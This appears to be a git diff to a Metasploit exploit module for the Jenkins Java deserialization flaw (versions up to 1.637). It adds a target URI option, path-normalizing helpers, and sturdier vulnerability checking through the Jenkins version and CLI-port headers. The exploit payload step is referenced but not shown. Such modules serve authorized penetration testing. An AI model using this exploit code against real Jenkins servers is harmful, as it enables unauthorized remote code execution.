diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb index 6478da42f6..c7eec77106 100644 --- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb +++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb @@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0)) register_options([ + OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']), OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']), Opt::RPORT('8080') ], self.class) @@ -61,19 +62,68 @@ class Metasploit3 < Msf::Exploit::Remote invoke_remote_method(class_load_payload) end + + # This is from the HttpClient mixin. But since this module isn't actually exploiting + # HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion & + # conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though. + + def target_uri + begin + # In case TARGETURI is empty, at least we default to '/' + u = datastore['TARGETURI'] + u = "/" if u.nil? or u.empty? + URI(u) + rescue ::URI::InvalidURIError + print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" + raise Msf::OptionValidateError.new(['TARGETURI']) + end + end + + def normalize_uri(*strs) + new_str = strs * "/" + + new_str = new_str.gsub!("//", "/") while new_str.index("//") + + # Makes sure there's a starting slash + unless new_str[0,1] == '/' + new_str = '/' + new_str + end + + new_str + end + def check result = Exploit::CheckCode::Safe - if vulnerable? - result = Exploit::CheckCode::Vulnerable + begin + if vulnerable? + result = Exploit::CheckCode::Vulnerable + end + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return Exploit::CheckCode::Unknown end result end def vulnerable? - http_headers = send_request_cgi({'uri' => '/'}).headers - if http_headers['X-Jenkins'].to_f <= 1.637 + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + + unless res + fail_with(Failure::Unknown, 'The connection timed out.') + end + + http_headers = res.headers + + unless http_headers['X-Jenkins-CLI-Port'] + vprint_error('The server does not have the CLI port that is needed for exploitation.') + return false + end + + if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637 @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i return true end